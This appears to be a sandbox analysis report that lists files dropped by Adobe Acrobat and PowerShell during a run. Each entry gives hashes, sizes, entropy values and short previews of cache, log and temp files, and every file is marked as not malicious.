MD5:	16ED8B100FE42BE347AAE6E9F999577F
SHA1:	C8A6F53A25DFD0E1086CD9BE6EE6F599B40C726C
SHA-256:	5BFF23C9591ECB6C939733AAC7E5FB520A2A38A5316A1064A2CDBE9EECE54482
SHA-512:	487E144069C7CB1E21E4703C7C30EEFB6A00079C6D2C7DD948E75476353CE95178000128E23A1C701DF762FBDAA838D0F7DCA2CEE3D5E317B05AA48E278B594F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8aba7136-d257-4101-b715-1a3759c12ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730964723,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.279639813881926
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEChQplnVoZcg1vRcR0YaktoAvJTqgFCrPeUkwRe9:YvXKXzyplWZc0v8iGTq16Ukee9
MD5:	E899F9D68F7A1130F913BB230C1F7F5A
SHA1:	D30FB7502BA099F40172CF7B3113BBBCCAA85130
SHA-256:	6E3FF53405B18002423BDEF7FBEAC9C79BF4A53BAFD4E94BF9884FAA75CE463F
SHA-512:	1DC762816B1020EB8CADCE15665ED738F06668BB50A9A911DC4520926E3D0EB4BDA5B99EA008BA46D06ED5B2EC5574AA1AD9DF0F03C0713EF38B42C05081D28A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8aba7136-d257-4101-b715-1a3759c12ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730964723,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.134986511696449
Encrypted:	false
SSDEEP:	48:YiveP5g7YSSwNJXNen2dPfA3H5fJUUYEsLtp+9j8l1C:NeP5g3SwNJX8n2dPfAX5xCEsLtajM1C
MD5:	3F8A0F704EB6A384A3C89710953F362F
SHA1:	550081C7D15AA1F3CCB8A86438D408FA96F18789
SHA-256:	993DD42C3176D9B43C3A5276368E27200D37D01F275017BD6575A1EFF097D25D
SHA-512:	190B5CD9F424F652E70550B737B98A5A52BB1E56A96BA0B7ECD9E97D3F2FA996742D418AC366801C288819352C58248238B7972461A8DFAA7BD90C7E59C1230D
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"5fa798173f2d201b4d80a36aeff4c6db","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557339000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"cd9ac4e833dcf6b5df04f62bfb29de43","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736557339000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"46933a584a30746f3f89e8d58525c8e9","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736557339000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"16fee1f9d04c7ee2ec465b545c0238b1","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736557339000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"45847c16b9f31e5e06ea0a8f52c650c7","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736557339000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"1a833150cd8f34b4695b134971369bc8","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1886986931904888
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUxSvR9H9vxFGiDIAEkGVvpJ:lNVmswUUUUUUUUx+FGSIt1
MD5:	BD43A2E56EEDDE93734CFA0F264520AF
SHA1:	1FD9A7DE5A5DC46E6C06306E85EA1908F46FB406
SHA-256:	80277FE8636FDAC91A4134E7043AD416B1C037633266FBFD68D319FA7773D646
SHA-512:	E625C151E5DD885AA3AC4D78C39481A9D30C992E3A416AB5CD9E4EC60027C09153317D9240B540FD5843E7176E413E802B814658A2C7025ABC1D0C9B8D64D32E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6084144755940168
Encrypted:	false
SSDEEP:	48:7McKUUUUUUUUUUZvR9H9vxFGiDIAEkGVvZqFl2GL7msc:7oUUUUUUUUUUdFGSItXKVmsc
MD5:	39E7005E35227D1EA358A14C2CC55D8B
SHA1:	B91DA592E6E95300567946036C549464EB526E03
SHA-256:	91BCC3AEA5E2FEC43498D5A033360F7B4FEE48B5F072AA633110ADBE340F32AD
SHA-512:	53E013E829F2919393A736E54EF18810713A43DB2BA388947DD19E461AB05ECBDF1BAD231B9AA985A0DC56A4E574395EB8E1BA9F1F2E42A96D04D7FB3085EB9C
Malicious:	false
Preview:	.... .c.....[.7......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgKvmuGS83Nm/i9cmK5gueCeZPvLtYyu:6a6TZ44ADEKvFGS83Nm/ne7tK
MD5:	AD432AB83FD4A5A7C5FB9103BB2DC8A7
SHA1:	85207FEAF1871D40F3A37B3C4B96DC03B6AEA090
SHA-256:	3B4565A2E3973EEC3BEDADC804ADB1EB687413D074D7A755D10496347524CCAC
SHA-512:	93E5A502FF17731288F5F01E3FEC34C11DE9F838AB925E269492177FC20BD7480F0F945BF729BE5AF33EF8A5B500C71CCF7AA3DA9456A97CE99017EAAC85C022
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulpgztZ:NllUO
MD5:	ADB67D140C904AFBF0D2C47FCFC73086
SHA1:	CAA1973FC7AB5367DC2007487049041C6D0AC54E
SHA-256:	BA09CC360CD10629A32D8E84392BAD452284123893B0792F6417340A72E3B951
SHA-512:	85BE6449222EAA096A6F84E051D16DB1147498DA621BDB6C7B5D11CF6C306DB4DE90CEB457EDE22CCA53BC94CF4D1E6D0FAE203D196AF7AF225AF87464E1286E
Malicious:	false
Preview:	@...e.................................x..............@..........

C:\Users\user\AppData\Local\Temp\MSIa37e5.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.489990391649207
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClUlBw:Qw946cPbiOxDlbYnuRK+bJBw
MD5:	F27F0A52F81B435A6B2C1A0C0BFB3040
SHA1:	2966E889D3B632012954548B704538D7D9DA9B3C
SHA-256:	E36F7768F514E5DA99B811C40A0600AC236D2C4EA2B4AAA7299960E982661B4D
SHA-512:	37368D9FA5F27B33CF6D5D31737A9179B4675D5225B86E07BACE6C2FCAFB899D09D85836E937A884BFAA1126F19B23D16F4D7861E809159A9CAA58BB4385A91B
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.0.2.:.1.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bshvcfqa.uam.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ssvkrwd3.1xn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A915aiolb_lkqq4s_4zo.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91xn2mn_lkqq4p_4zo.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-02-13-906.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.34143418168959
Encrypted:	false
SSDEEP:	384:oeEvwv5vIvUv1vWRvpvyvSvLvBvEqzqBrjrZrcEMEjE4EuDlkOlXlNnrnHnx2F6f:WvO
MD5:	08ED87E4B632B4B58957F3D79026DD04
SHA1:	CD10C9D837EB1A6ADD04F1E88439C5CB78D15155
SHA-256:	421BCAC3441D1FF5BC9E8CAF4D1EEAAC00C84F382A0E748D615E2D0D2BEEA7C6
SHA-512:	564CCC36013C15E1C37F51556E56B88F143E3571BEF2718DEDC740E014D509F71584541523C6EED55B734028C3536B979BA778B6F1D2FA00DBFACDA21A9C1DB9
Malicious:	false
Preview:	SessionID=c6160a8f-2b1a-45d1-8212-14ed4076570b.1736557333920 Timestamp=2025-01-10T20:02:13:920-0500 ThreadID=7776 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=c6160a8f-2b1a-45d1-8212-14ed4076570b.1736557333920 Timestamp=2025-01-10T20:02:13:921-0500 ThreadID=7776 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=c6160a8f-2b1a-45d1-8212-14ed4076570b.1736557333920 Timestamp=2025-01-10T20:02:13:921-0500 ThreadID=7776 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=c6160a8f-2b1a-45d1-8212-14ed4076570b.1736557333920 Timestamp=2025-01-10T20:02:13:921-0500 ThreadID=7776 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=c6160a8f-2b1a-45d1-8212-14ed4076570b.1736557333920 Timestamp=2025-01-10T20:02:13:921-0500 ThreadID=7776 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.382491547630688
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2re:ZE
MD5:	4E6C195B3CD4E98A0526F9D56589BC76
SHA1:	663E5EAD3C66EF35A702F0071A0D4BD0552569A9
SHA-256:	58B9C414785FB9B010765E11337D6764D83ABF5B86B6424B923F96E65F875E15
SHA-512:	AA72684B46044A9DE4934A9470151140989D3CE946B628C701EF28E9CEC38168712E103628E38C55772AF4EE80D4DB278BF48F66CAF530933FA51C0BE11C986E
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\62c0f789-d57e-49fa-96f0-b808a5b6099e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9a4279f3-4577-4785-8cd6-bf5eec8fc8d1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\b2440322-37d1-4143-b4da-f92d91d632c0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... 